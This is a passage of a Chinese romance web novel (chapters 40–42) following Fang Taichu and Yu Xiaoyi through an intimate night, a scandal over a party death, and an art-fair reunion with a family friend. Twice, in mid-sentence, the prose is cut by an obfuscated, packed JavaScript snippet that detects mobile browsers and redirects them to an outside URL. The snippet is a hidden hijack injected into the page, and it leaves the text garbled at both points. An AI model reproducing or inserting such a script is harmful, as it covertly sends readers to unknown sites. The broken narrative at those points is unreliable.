她的内衣刚刚在卫生间不小心沾了水,如果不晾干明天也没法穿,而且她哪想到他这么大的衣服还遮不住她的身形啊!都怪这个该死的材质! 时间好半晌都是凝滞的。 小初感觉自己整个身体已经不能用燃烧来形容了,而是马上就要碳化了,只要轻轻一动,就要碎在原地了。 “我什么都没看见。” “你还说!”小初红了眼睛,下一秒就将自己蜷成一团,缩在了沙发角落里。 余萧弋这才有些慌了,又不敢靠她太近,只能半跪在沙发前的地毯上,小心翼翼地看着她,语无伦次地解释着,“我真的……” 还没说完,就被小初用手指封住了唇,“别说了。” 她的惊惶破碎还有未经世事的羞涩悉数落在余萧弋眼底,一股不知名的涌动流过心脏,和欲望无关,只有清澈的喜悦。 “好,不说了。”他抚了抚她的脸,“很晚了,去睡吧。” 小初睫毛上停留的一滴眼泪这会儿才落了下来,她倾身向前,搂住他的脖子,把自己这一刻的脆弱都蹭在了他的颈窝里。 半晌,他才听她说了句:“余萧弋,怎么办,我好像真的喜欢上你了。” 余萧弋身体一僵,掌心轻抚着她的后背,“现在……才吗?” “可能很早就喜欢了,只是我现在才意识到,我好像从始至终都不排斥和你身体碰触,还记得第一次在飞机上你帮我做冰敷吗?或许那个时候,我就已经对你产生信任了,虽然那会儿我甚至连你是谁都不知道。”小初的眼泪不停不停落下来,很快就把他的衣服打湿了。 余萧弋的腿有些麻,他干脆向后坐到了地毯上,让小初整个落入他怀中,“我也不是对谁都那么主动的。” 小初仍不肯抬头看他的脸,将眼睛遮住让世界陷入黑暗似乎更适合倾诉,“你最好保证你说的是真的。” “为什么哭?” “因为,我怕最后反而是你接不住我的认真。在我的世界里,鲜花着锦和烈火烹油才是最可怕的东西,太美好的开始,结局往往都不尽人意,所以,我宁愿慢一点,平淡一点,不要那么快就把两人这辈子的感情都谈完了,可现在我才发现……这个节奏人为掌握不了。” “你是不是害怕失序的东西?” 小初没想到他这么懂她此刻的感受,哽住声音,“嗯。” 余萧弋扣住她的肩膀,让她转过来看着他的眼睛,“你信我,方太初。我不是那种向谁都敞开私人领地的人,别的我不敢保证太多,但你的认真,我一定接得住。” 小初哭得眼睛都是潮红的,小时候模糊的记忆袭来,妈妈牵着她的手带着一切决绝离开了上海,唯独没有带的东西,是爸爸。 若可以时间倒回,她真的很想穿越到小时候的自己身上,问问他们,为什么明明开始都好好的,最终还是搞砸了。 他们知不知道,玻璃鱼缸跌落,小金鱼没有家了。 就算后面他们又买了座水族馆给她,也没有用了。 小时候三口人在一块温馨的时光其实她已经不太记得了,她记得都是后面的十年,她的世界所有的混乱和失序。 刚升初中时,班里有个小团体嫉妒她长得漂亮成绩好,明里暗里针对她,说难怪她性格那么奇怪,原来是单亲家庭长大的孩子。 那个时候,都是叶子瑜替她出头的,这种保护,在后来的好多年都没有中断过,所以,她怎么可能不喜欢上他,又怎么可能不因别人欺负他而发疯。 直到今天,她才发现她混淆了异性友情和男女之爱。 她可以接受叶子瑜爱上别人,更从没想象过和他坦诚相对身体亲密接触的样子,可对余萧弋,她只想独占,想要他的亲吻,想要他触碰自己的身体,与他眼神对视会心跳加速,只是这样被他抱在怀里,她就已经柔软到不行。 她最讨厌在恋爱中让渡太多自我的人,可现在,连这一项,她似乎也控制不了了。 这怎么能让她不害怕? “若你们家不同意你跟我在一起呢?”小初终于问出这个问题。 其实她从开始就觉得,他们就是完完全全的两种人,各自肩上又都承受着来自家里的压力,走到一起的可能性,微乎其微。 余萧弋粲然一笑,“不会的,我们大家庭或许很传统封建,但我说了,我爸妈很开明,他们一定很喜欢你也非常欢迎你的。” “我是说……”,小初踌躇了一下,还是决定实话实说,“我们家的情况有点特殊,我不能离开北京。毕业后,我的工作会非常非常忙,我甚至没办法飞来香港看你,更不要说……和你一起生活。” 余萧弋点了点头,“我明白,你之前不是说过了吗?放心,一切都会解决的。实在不行,我们可以选一个中间的地点,把你爸妈外公外婆舅舅一家都接过去生活。” 小初并不觉得他明白了她在说什么。 但她又不知道该怎么说。 要直接摊牌吗? 就在她犹豫间,他已经换了话题,“你怎么不问问我之前去北京干嘛了?为什么会在经济舱遇见你?” 这个问题勾起了小初的好奇心,“干嘛去了?我其实早想问了。” “那段时间不是洪灾吗,我代表家里捐赠物资去了,看见灾区那么多人流离失所,我还怎么好意思坐头等舱,恨不能把钱都省下来给他们换成生活用品。” 小初愣住。 事情竟然是这样。 他的形象突然在她心里又哪里不一样了,虽然他们家族好多人的私生活确实混乱了一些,但在大义上还真不含糊,挺让人刮目相看的。 “所以。”他俯身下来,亲了亲她的头发,“香港和北京真的比你想象得近,不止是近,而是零距离。” 小初点点头。 “好了,洗漱睡觉。” 两人起身。 余萧弋从柜子里找了支新牙刷给她,就进卧室拿了枕头和被子出来。 等小初刷了牙出来的时候,他已经将自己埋在被子里了,只是两只脚悬空在沙发边缘,看着很不舒服。 “晚安。”他朝她笑笑,然后语音控制关了客厅的主灯,只留了几只夜灯。 客厅陷入了黑暗。 Enzo的呼噜声舒缓又均匀,听着已经睡得很沉了。 小初问:“你刷牙了吗?” “洗澡时候在卫生间刷过了。”他双手枕在头下,开她玩笑:“你要不要过来检查一下?” “我信你。”小初摆摆手,“晚安。” 回到卧室,她就把自己也埋在了被子里。尽管换了床单和枕套,但整个房间还是有一种他身上的味道,小初这才意识到,那是某种洗衣液的味道,很沉静的木质调,像被他拥在怀中。 空调的温度调得很低,尽管如此,她还是感觉浑身燥热难耐,心里某种渴望一直在升腾,卧室的门只虚虚掩着,客厅夜灯的光散射进来,映在地板上像一支箭,生生插在了她最薄弱的地方。 就这样也不知多久,她终于迷迷糊糊睡了过去。 酒后格外口渴,后半夜起来去餐厅找水喝,她才发现他根本没躺着,而是坐着睡着的,腿搭在茶几上,头向后倚在沙发背上,姿势看着特别扭,她猜着应该是两人位的沙发对他而言实在太短了,还不如这样睡更舒服点。 一种说不清道不明的滋味涌上来,呼出的气息突然变得滚烫。 因为怕吵醒他,她动作放得很轻,可还是被阳台的Enzo听到,她水还没喝到嘴里,它就迈着小碎步跑她脚边来了,眼巴巴看着她。 小初没养过狗,也不知道这小家伙到底什么诉求,只能蹲下来摸了摸它的头,问道:“你要喝水吗?” 小狗哼哼了两声。 一人一狗的对话终于把沙发上那位吵醒了,“方太初?怎么了?你还没睡吗?” “不是……我出来喝口水,Enzo一直围着我,它是不是也渴了?” 余萧弋扭了扭僵硬的脖子,眯着眸子看了眼手机:“四点了。”他站起身,跟小初说:“你去睡吧,我来就好了,你不知道怎么弄。” “哦。”小初指节轻轻握着杯子,看着他给Enzo添了水。 看起来它是真的渴了,马上大口喝了起来。 “我用了你的杯子。”小初跟他解释了句。 余萧弋走过来,迷蒙地笑了笑,“用吧,亲都不知道亲多少次了,用一下杯子就不必特别解释了。” “你烦不烦?”小初把剩下的半杯水递到他嘴边,歪着头,眼睛里的光在昏暗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16385110|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里亮得过分,“你喝吗?” 这个时候一个字的回应都是多余的。 余萧弋没说话,只是微微低头就着她的手喝完了那半杯水。 小初又问:“你那么睡累不累,要不,你回房间睡好了。” 余萧弋差点被口中的水呛到,不太敢相信自己听到了什么,“你是不是在钓鱼执法啊,方小姐?” 小初的声音听起来一点心虚的成分都没有,“我只是不想你明早起来脖子疼好吧?你不要多想啊,反正你的床那么大,我们楚河汉界互不打扰就好了。” “方小姐,我没有你想的那么安全。”余萧弋的眼神逐渐炙热,“楚河汉界恐怕拦不住我。” “那这个呢?”小初拿过餐桌上酒瓶,语气真诚,“这个可以吗?” 余萧弋笑:“你可以试试。” 两人一块回到卧室内。 各自裹着各自的被子守着一边床沿躺好。 凌晨四点的人往往是不太清醒的,就像,很多人白天时明明被学习和工作折磨得恨不能与全世界为敌,可过了午夜还是会对短视频里的帅哥美女产生绮念,从前车马慢,一生只够爱一个人,现在科技发达了,十分钟可以爱上三十六个。 半个小时过去了,两个人还都没睡。 昏暗的室内,喘息声是那么明显。 又半个小时过去了,他们还保持着最初躺下去的姿势,直直看着天花板,连身都没敢翻。生怕一个微小的动作,都会打破这种危险的平衡。 最后,反而比上半夜睡得还累。 两人后来还是被Enzo吵醒的,醒的时候余萧弋倒还规规矩矩守在他的那边没动,小初却睡得横了过去,头是朝外的没错,脚早已伸到了他被子里。 这个动作实在暧昧,两人都吓了一跳。 小初极力解释,虽然有些苍白,“我不是故意越界的,我只是从小睡觉就不太老实!”又怪他:“你为什么不推开我?” Enzo的爪子搭在床沿上,眼神懵懂,似是还没搞清楚状况,这个女人怎么睡在它爹的床上,她昨晚没走吗? “方太初。”余萧弋极为艰难地喊了声她的名字,若不是Enzo在这,他的理智一定已经崩塌了,“你能不能……先把脚,拿开?” 小初这才意识到,她脚心处那个滚烫得人身体发颤的东西是什么。 几乎只用了一秒,她就从床上弹跳了起来,又一秒,她已经冲进卫生间将自己锁在了里面。用冷水洗了脸,双手又支撑着洗手台看着镜子里的自己很久,她才将身体深处那股悸动平息下去。 然后她才后知后觉——那个东西,竟然是那种程度的……硬吗? 可怕的男人。 尴尬的气氛一直延续到他遛完狗,两人坐在餐桌两边一块吃了个早餐还没有散去。 连一个简单的目光对视,都需要很大的勇气。 最后还是余萧弋不经意地问她:“一会儿你是直接去馆里还是?” 小初低头喝了口咖啡,声音低得简直不像她的,“先回宿舍,换身衣服,然后再过去。” “好,我送你。” 小初没答,算是默许。 余萧弋想了想又问道:“你过去要不要给大家带咖啡什么的?” 小初倒还没想那么后面的事情,不过经他这么一提醒,她也觉得是要的,于是点点头。 “一共几个人?” “八个。” 余萧弋吃掉最后一口西多士,“好,那一会你上去换衣服,我就去点咖啡,然后再来接你,开车过去应该只要十分钟不到,时间很刚好。” 小初这才抬眸看了他一眼,说了声:“好。” 余萧弋脸有些红,但还是若无其事地揉了揉她的头发,“我先换衣服,你吃完放在这就好,一会儿我收拾。” 小初有些不好意思:“没关系我来,总不能又要你做饭还要你洗碗吧?我爸妈没那么娇养我,家务活我还是会做一点的。” 余萧弋温声,嘴角的笑根本藏不住:“方小姐,现在是二十一世纪了,厨房有洗碗机。” “……” “就算没有,我也会做,你爸妈没有娇养你那是因为他们不想你丧失独立生活的能力,这种能力有就可以了,不一定非要用,还有……”他起身,越过餐桌亲掉她唇角的咖啡渍,“我提醒你,不要对男人太好,他们会得意忘形的。” 小初眯了眯眸子。 这家伙真的是初恋吗? 是不是有点太会了? 两人收拾好出了门,按照计划一个回宿舍换衣服,一个去咖啡厅点餐,然后再汇合去会展中心。 可是车还没开到一半,余萧弋就接到一通看起来很重要的电话,全程都是那边在说他在听,可小初还是敏感注意到他的神色越发凝重,等到电话挂断时,他看上去已经快哭了。 “怎么了?”小初心脏揪紧。 “不知道该怎么说。”余萧弋越过中控台握住她的手,眼底已泛红,“你看新闻,现在应该已经是头条了。” 小初怔了一下,赶紧打开手机新闻客户端。 然后果然,本港新闻的头版头条就是:《一粉丝二十万的女网红命丧余淙淙深夜Party》。 “对唔住,我可能要马上回家一趟,今天,哦不,这两天恐怕都不能陪你了。” “好,你去。” 事有轻重缓急,小初能懂。 41.第 41 章 今年的香港艺术展为期三天,小初前前后后其实也只在馆里陪了黄亦玫半天不到,主要她自己课业也紧张,而且留下来也帮不上什么忙。 展览结束第二天一大早,黄亦玫就要乘飞机飞回北京,其他撤展等琐事自有下面的人操心。 整个周末,小初都没有见到余萧弋。知道他忙,她也就没过多打扰,只问了Enzo有没有人照顾,如果没有,她可以每天下了课过去一趟。 余萧弋回说不用,他已经交代了家里的工人姐姐,又嘱咐她注意保暖,晚上被子裹严实一点,别再感冒了。 明明是最简单的一句关心,小初却对着他那条消息看了好久,也不知道他是不是在暗指她睡觉不规矩在床上转圈的事。 周六晚上她一回宿舍,就看见了书桌上一堆礼盒以及一大捧粉玫瑰。林佳宜说是一个三十岁左右的小姐送上来的,对方放下东西就走了,没留名也没留言,只说她看见东西就会懂。 小初认出了那几个礼盒是余蓁蓁酒店的月饼和茶叶,另外还有一个,她打开看了下,竟然是个高速吹风机……他这么忙,还有空操心这些琐事吗? 花束里藏的卡片依然是那个熟悉的字迹,只是看起来他有些着急,行笔比上次潦草不少,倒也有种独特的潇洒。 F.Junior, 不要惧怕失序 不要挂虑结局 接下来的每一天 我都会比前一天更爱你 Yours, Theo Yu 虽然知道热恋期的情话是不可全信的,小初的心还是无可避免一阵怦然。她找了个精致的饼干盒,把这张卡片和上次的放在了一起。 然后才给他发了条消息过去,她原本并没期待他很快会回她,可还没过三分钟,她的手机提示音就响了起来。 小初:「花收到了,只是为什么是粉玫瑰?」 余萧弋:「怎么,不喜欢吗?」 小初:「没有。只是之前没收到过,还以为大家第一次都是送红玫瑰的。」 余萧弋:「因为,粉玫瑰是给初恋的。」 小初:「哦。」 余萧弋:「真的是第一次收到?」 小初笑:「Theo余,不要过于纠结一个人的过去。」 余萧弋:「不纠结,因为我都会把它覆盖掉。」 小初轻嗤:「自恋。」又问:「送东西过来的人是?」 余萧弋:「公司公关部的范小姐。」 小初:「忘了问你,那件事……现在是什么情况?」 余萧弋:「还不好说,在等警方的调查结果。初步怀疑是死于心源性心脏病,他们玩得太疯,直接通宵了。大家又都喝了太多酒,等有人发现她不对劲的时候,早错过了黄金抢救期。无论怎么样,这件事小叔肯定是要担责的,那毕竟是……一条人命。这些年,爷爷奶奶对他实在太过溺爱和纵容,酿成今天的悲剧,他们难辞其咎。」 关于他家事的部分小初不好评论,只说道:「等警方通报吧,具体在场的人是否有责任,以及分别承担什么责任,要看他们当时有没有强迫性劝酒,或明知对方身体有疾病不适宜饮酒仍劝酒什么的。我只是怕,法律层面的事情好解决,舆论却很难平息。」 后面的话小初没说——毕竟你余家是资本家,余淙淙又实在劣迹斑斑,就算法律判定你清白,难道你就真的无辜吗? 「方小姐果然聪明。」余萧弋发了个叹气的表情过来,「所以,我妈正在和爷爷奶奶吵架。」 小初愣住:「啊?」 这么隐私的事他就不必跟她说了吧?而且吵的是什么?在怪他爷爷奶奶惯子如杀子吗?他妈妈这么勇吗?在港澳豪门里上嫁还敢跟公婆叫板的,这底气是真的足。 余萧弋:「嗯,先不跟你说了,我要进去一下。」 小初:「好。」 余萧弋又发了个「love u」过来。 小初收起手机,百无聊赖翻了翻余蓁蓁那几个礼盒,她自小对月饼这类东西都是敬而远之的,更没什么闲情逸致坐下来品茶,所以,她想也没想,就把它们分成了两份,一份给了林佳宜,另一份,则准备拎过去给朱慧雯。 家里的人情往来都是妈妈打理,但她身在其中耳濡目染倒也学了几分,只是她不想在这上面浪费心力罢了。 她早已想好,等将来她做主的时候,就专门请个私人管家全权帮她打理琐事。 几盒月饼和茶叶,对于余家这样的家庭自然是太轻了,但小初也能理解,她和余萧弋年纪都还小,余蓁蓁大概率只当他们是一时兴起的玩伴,就跟平常来家里做客的同学差不多,恰好赶上中秋时令,这样的伴手礼也算得上合乎礼仪了。 尤其又不是什么正式见面的场合。 小初从不为自己做过的任何事后悔,也不觉得自己应该秉承矜持等时机成熟再见他家人,她绝对主导她自己,就算见面,也是她去看看他们家都是些什么人,而不是把自己作为客体费尽心思去博得他们的满意。 他们爱满意不满意。 能让子女去联姻的家庭,在意的不就是对方能不能跟他们进行利益交换吗?价值她已经有了,其他的,他们看着办好了。 小初过去找朱慧雯的时候对方刚打完网球回来,几天未见她脸上的伤已经好得差不多了。 “方太初,看新闻了吗?”朱慧雯把网球拍放在桌面上,大大喝了口水。 “这话该我问你。”小初把礼盒递给她,“这里面是月饼和茶叶,中秋假期你带回去和家里人一块分享吧。” 朱慧雯愣住,下一秒就了然,眼底流过不经意的感动,“绮丽的月饼,向来是全港排着队买的,余萧弋送的吧?”而后才说,“谢谢你啊,还想着我。” 小初摆摆手,“别客气,我是真的不爱吃甜食,放在我手里也是浪费了。” 朱慧雯摘下发带,擦了擦汗,整个人看着比前一段青春明亮了许多,“改天一块打网球啊。” 小初挑挑眉,“我不跟打得差的玩的。” 朱慧雯“喂”了一声,轻嗤,“你未免也太自负!” 小初不置可否,只问她:“你跟余淙淙还有往来吗?” 朱慧雯抿抿唇,“没,他倒是有约我,可那天过后我不是就受伤了吗,还怎么见面。那个女孩真可怜,好像搭上他们那班人也没多久,就发生了这样的事,实在令人唏嘘。” 小初点头,“他们这样的人,谁搭上都不会有好事发生。” 朱慧雯默然。 小初和朱慧雯算不上私交太深,后面的话说出来实在有些越界,但她还是没忍住,“Wendy,你是我见过少有的聪明人,谁真心谁不是真心,我相信你看得出。以后还是专注学业吧,你成绩这么好,将来的路肯定越走越宽的。” 朱慧雯瞥她一眼:“方太初,你比我妈还啰嗦。”静了几秒才又问她,“那余萧弋是真心的吗?豪门似海,内地和港澳文化差异又太大,你……保护好自己,别陷得太深。” 她这话说得很委婉,却是实打实为她好,小初心领,别的也没多说,只说了句“我知道”就退出了她宿舍。 余淙淙这次的事情闹得满城风雨,连续几天各大媒体的头版头条都在持续跟进和报导,余家大宅和总部大楼甚至余蓁蓁的几家酒店门口都有记者二十四小时围守,所有人都想第一时间获取余家对于此事的态度和应急方案。 余淙淙平日里的荒唐民众早已司空见惯,娱乐小报偶尔素材不够了才拿来凑凑数的水准,而且他审美向来固定,每次上热搜的女主脸其实都差不多,最初几个大家还有兴趣点进去看一眼,后来也就寥寥了。 若他不是姓余,估计狗仔拍他都嫌浪费时间。 可这次不同,这次毕竟是一条人命,还是如此靓丽鲜活的一条人命,别说女主的二十几万粉丝,就是路人也很难接受。 小初平时很少关注八卦新闻,事发当天都没忍住去IG上翻了翻女主的主页。真的是很漂亮的一个女生,而且上个月才过完她二十三岁的生日,实在可惜。 其实当晚参加派对的除了女主还另有十一个人,只是余淙淙最有话题量,于是在等待警方调查结果的时间里,各大媒体便纷纷不约而同起底起了余家——从余萧弋太爷爷的几房太太开始,到后面的世纪争产风波,再到大房铁血掌权,又详细介绍了大房的几个子女,这里面除了余萧弋的爸爸存在感比较弱,其他几个人真是精彩纷呈。 二叔余巍巍十九岁就和女友未婚先孕生下一子,孩子没满半岁两人就分了手。后面十年时间他又接连交了数个女朋友,全部无疾而终,直至听从家里安排娶了名媛祁佩霖。不过婚后他也未改风流本性,多次出轨后女方终于忍无可忍,结束了与他十三年的婚姻。现在他除了那个私生子,还另有三个未成年的孩子,全归原配抚养。 大姑余芃芃插足自己导师的婚姻多年未果,终于心灰意冷出走海外,后面嫁了白人老外,又生了两个孩子,才算安稳下来。 小姑余蓁蓁更不用说,当年为了抗婚直接惊世骇俗和同性密友同居在了一起,两人之间到底是爱情还是友情,坊间一直众说纷纭,同性密友嫁人后,余蓁蓁至今单身。 再之后就是小叔余淙淙,从十几岁进入娱乐圈,就开始了他拍什么什么不火,投资什么什么亏钱的倒霉人生,三十岁那年闹得天翻地覆想娶某个艳星进门失败后,彻底失去了事业心,每天除了约会年轻女孩,就是醉生梦死。 这些东西在坊间自然早不算什么秘闻了,不过流量时代嘛,就算冷饭热炒,也有人津津乐道。 看完这些后的当晚小初就失眠了,一直在思考生于这样家庭的余萧弋,是不是真有他表现得那么光风霁月。 若一切都假象,她该怎么办。 第三天上午,警方终于对整个事件进行了通报,结果果然如余萧弋所说,女主是死于心源性心脏病突发,经调查,并未发现劝酒行为。 也就是说,这是个纯粹的意外。 结论一出,舆论一片哗然,好多人都怀疑余家用非常手段干预了司法公正。 事情很快就偏离了本来的方向。 当天下午,小初去馆里陪黄亦玫,展会最后一天的访客量特别大,她在检录处排了很久的队才进去。 想起妈妈第二天就要回北京了,她心里实在不舍,仔细想想她这几天都没有好好陪过她,更是没忍撒娇,“妈,今晚我陪你睡好不好?” 看到这么明媚可爱的女儿,黄亦玫几天的疲惫也一扫而空,应声:“好。”又一边喝咖啡一边仔细端详了她一下,突然问了句,“那天陪你一块的男孩怎么没来?” “谁?”小初只愣了一秒就反应过来,“铭仔?他来干什么,他又不懂艺术。” 黄亦玫狐疑,“他不就是学艺术的吗?”又有些恍然,“原来他不是你男朋友?” “什么男朋友!”小初跟被什么脏东西沾了似的,“您觉得我审美就那样?” “铭仔挺好的呀,性格开朗,长得也不错。” 小初嘴角一抽,“妈,你是认真的吗?”然后才反应过来,“不对,你怎么知道他是学艺术的?他跟你说的?他不会还加了你微信了吧?” 黄亦玫大笑,“还真加了。” 小初要疯了,她很怀疑他连微信都是现场注册的,这个该死的林铭锵,他什么意思? 她伸出手,“您把手机给我,我把他删了。” “删了干嘛。”黄亦玫温柔握住她的手。“说不定哪天,你会带他回家吃饭呢。” “我带他回家吃什么饭!”小初懊恼至极,但她稍微思索了一下,突然又觉得此刻是是个试探她父母心思的好机会,放弃了就不知道下次什么时候了,于是说道:“妈,你和我爸不怕我远嫁啊,怎么对我和他这么乐见其成的。” “乐见其成谈不上。”黄亦玫目光沉静看向她,“但爸爸妈妈不会阻止你交朋友。” 小初迅速心领神会,就是谈恋爱可以,结婚不行。 她眨眨眼,状似开玩笑,“若我真爱上个香港男孩,你们怎么办?” “你爱上哪的男孩我们都能接受,只一点,对方的人品一定要好,要从内心里爱你,珍惜你。除此之外,对方的家庭最好也简单清白些。若是往回倒二十年,妈妈对这个论调肯定嗤之以鼻,但现在,接触了太多人,经历了太多事,我只能说,每个人都是他原生家庭各种问题的精准投射,这东西没法剥离。” 小初沉默了一瞬。 正说着话,有人进来谈生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16392804|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黄亦玫去忙了。 小初百无聊赖,索性也四处逛了逛。她每次都来去匆匆,展位里好多作品还都没好好欣赏过呢。 终于,她在一幅名为《星昼》的画前面停下了脚步。这幅画的作者用色极为大胆,笔触又细腻得惊人,作品名字里有星星,实际画面里只有一片白天的海。海和天都很宁静,作为一名观众,只是站在画前,她都感受到了拂面的海风有多温柔。 唯有一点,这个海它不是蓝色的。 而是一片波光粼粼的渐变彩色,每个线条又似乎都蕴藏着漫天星辰的光辉。 小初往前凑了凑,才看清作者的名字,黄……黄亦玫? 这是,她妈妈的作品? 她什么时候画的,她怎么从来没注意过?难怪铭仔回去就一直感叹黄小姐是个有品味的艺术家,难道他那天就看到了? 小初心底有些感动,站在画前感受了一会儿妈妈内心的宁静温柔,就掏出手机拍了张自己和画的合影给方协文发了过去。 附言:「你老婆两个伟大的作品。」 没一会儿,方协文就回了过来:「我谢谢你,单独把画拍给我。」 小初:「……」越想越气,马上又加了一条过去,「方太太在馆里一群年轻帅哥加她微信呢,方总有没有危机感?那群帅哥,啧啧。」小初回忆了一下铭仔那张让她实在欣赏不来的脸,完全昧着良心的,「真是我见犹怜,总之,比当年那个何西叔叔帅多了。」 这下算是把方协文惹毛了,气得他字都懒得打,直接发了条语音过来:「小崽子你是不是不想活了?」 小初坏笑着听完她爸的低沉的,压抑的,背景音里还有别人在说话,显然是在开会的——破防之音,心满意足收起了手机。 然后才意识到一个问题,她不会害方太太回去被他收拾吧? “Enzo。”一个声音在耳边响起,“过来这边看。” Enzo…… 小初脑子里闪过余萧弋的狗双爪搭在床沿的画面,忽而失笑,下意识转过头去,一个打扮入时的年轻男孩就映入了眼帘。 单眼皮,小V脸,高鼻梁,长得非常之不Local,反而有种日韩男团成员的既视感,小初惊叹了几秒,男孩已经到了她身边,笑起来的样子也那么清爽,像杯夏日的海盐汽水,“妈。” 旁边的女士应声:“你看这幅画。” 小初再次惊叹,果然能生出好看的儿子,妈妈的美貌是不可或缺的,这位女士虽然明显已经有些年龄感了,打扮得也低调,只穿了件纯棉休闲连衣裙搭配渔夫帽,但不知怎么就是给人一种很贵气,也温润的感觉,而且不难看出,对方年轻时一定是个美人。 两人视线不小心碰触到了一起,小初立刻礼貌地微微颔了颔首,生怕被发现她在打量人家。 对方明显一愣,下一秒已然露出一个温柔的笑容,朝她点点头:“你好。” 小初没想到她会和她主动打招呼,脸瞬间红了,完了,她一定是发现她刚刚无礼的行为了,但事已至此,她也只能若无其事了,问好道:“您好。” 她这才意识到,两人说的都是普通话。 旁边的男孩看了小初两眼,有些疑惑,“妈,你认识这位小姐?” 女人目光如水,“没,只是觉得有些似曾相识。” 小初有些尴尬,幸而这会儿黄亦玫那边已经忙完,正朝着她走来。 她不知道该跟那对母子说些什么,只能笑笑:“这就是这幅画的作者。” “哦,是吗?”男孩惊叹。 “黄亦玫?”一旁的女士也开了口。 小初还以为她也看见了标签上的作者名,正准备回答呢,不想一转眸她妈和这位女士已经抱在了一起,显然是旧相识。 “文然姐!”黄亦玫眉宇间都是讶色,但惊喜也是藏不住的,“你怎么有空过来,你不是……” “嗐,家里乱糟糟,实在懒得理,索性带孩子出来逛逛,顺便看看你。话说回来,咱们也好几年没见了吧?” 黄亦玫点头,“可不是!这日子真的不抗过!”又看向一旁的男孩,“这个是?老大还是老二?” 那个叫文然的答:“老二,老大大多了。Enzo啊,快问亦玫阿姨好!” “阿姨好!阿姨你真漂亮!”男孩从善如流,一张嘴又乖又甜。 黄亦玫这才想起什么,“小初也跟文然阿姨问好呀。” 小初一头雾水,但面上也笑得乖巧可人,“文然阿姨好。” 女人拉过小初的手,满眼的喜欢之情,“这就是小初?难怪我说看着眼熟。”又打量了她两眼才跟黄亦玫说,“这孩子真像你,不过一颦一笑还是有她爸爸的影子,真是专挑优点长的,我记得她小时候就漂亮,没想到长大了出落得更水灵了。” “还是小时候更漂亮些,现在不修边幅得很!”黄亦玫大笑,跟小初解释,“你文然阿姨姓萧,是你爸爸以前在上海的同事,也是我们的好朋友,你小时候她还抱过你呢。” 小初弯了弯眼睛。 暗里腹诽,是不是真的啊,为什么全世界家长给孩子介绍长辈说辞都这么一致,他们是不是经过什么统一培训? 萧文然看了看表,“你这边大概几点忙完?我们一块吃个饭?” 黄亦玫犹疑了下,“会不会太麻烦?” “麻烦什么啊!你都来香港了,我不尽下地主之谊以后还好意思去北京找你和老方吗?”萧文然大气一笑,“这样,我先带仔仔逛逛,等你忙完,我们再集合,一块去吃个便饭,小初也一块来哦。” 既然对方都这么说了,黄亦玫也不好太拒绝,只能应承下来,“行,不过不用等我忙完,事情交给底下人做也是一样的,等仔仔逛累了,你就给我打电话。” “OK。” 对方一离开,小初就好奇地问道:“妈,她真是你和爸爸的老朋友?怎么从没听你们提起过?” 黄亦玫说,“只是没在你面前提过而已。”又叹口气,“你爸就是不想你过早进入这些社交,但今天既然碰上了,也没办法了。” 小初不明所以,“什么?” 黄亦玫正要答,不想助理郗柠走了过来,也不知她贴在她耳边说了些什么,很快两人就从她身边离开了。 42.第 42 章 萧文然请客的地方是一家会员制的私人会所,小初在网上查了下,发现它不仅有着严苛的遴选制度和人数限制,且会籍数量差不多已经冻结到了二十年以后,可以说就算有钱也难得一张入场券。 由此推断,对方的背景必定非富即贵。 从会展中心开过去的路上,小初一直在绞尽脑汁思考她和她父母到底是什么交情,却终是徒劳。 主要是那种介于熟悉和生疏之间的似是而非太难界定,熟悉中又带着客气,生疏中又带着亲昵。 朋友聚会的话规格太高,商务宴请的话又过于随意。 再一点,萧文然本人的气质也很迷,哪怕她通身没有高级珠宝和名牌包包,甚至出门都没个司机,但看着就是很贵。 而且,她开库里南。 这种车型给女士开,就一个字,帅。再多几个字,就是张力十足。 这样矛盾的气质,小初长这么大只一个人身上见过,仔细一看他们的眉眼也有点像……但她很快就打消了这个念头。 毕竟,哪个豪门会让自家孩子和狗一个名字? 路上萧文然和黄亦玫一直在聊天,聊她们年轻时在上海的一些旧事。聊小初小时候住的那个小阁楼,她实在没想到萧文然也去过那。聊黄亦玫在咖啡馆替人打抱不平结果被背刺,聊方协文为下属背锅后走投无路不得不创业。 小初至此才找到自己患骑士病的根源,她就说她怎么一靠近弱者就会天然产生保护欲呢,原来是基因里来的。 她本想发个消息问问方协文的,可奈何她下午才得罪过他,这会儿实在不好开口,只能作罢。 算了,她转念一想,她爱是谁就是谁吧,反正她们大人聊天,她跟着吃吃喝喝就好,等黄亦玫一回北京,她和她也不会再有交集。 余萧弋发消息过来,问她吃饭了吗,说他那边暂时还走不开,这一两天大概率仍见不了面。 小初当时正认真听黄亦玫和萧文然说话,没注意到提示音。没过五分钟,他的电话就进来了,看见屏幕上他的名字,她紧张得差点把手机掉到座位下面去,连按拒接的手都是颤抖的。 下一秒,还没等她发消息过去跟他解释她这会儿不方便,手机铃声就再次响了,车内不知怎么突然安静得要命,只剩她给他设置的专属音乐一直在循环。 周柏豪的嗓音比那天橘子海边的歌手更有质感,也更深情,在此刻却有种不顾她死活也要把她和某人一块推进爱河的荒唐。 I''m loving you, I love you, I love you, I love you... 再不接就有点欲盖弥彰了,小初脸已经热得不行,手机听筒靠近耳朵的那一刹,白色的耳骨透过红色,变成很浅很可爱的一片粉,她但愿她看错,驾驶位和副驾驶的两位好像从后视镜里静静看了她几秒。 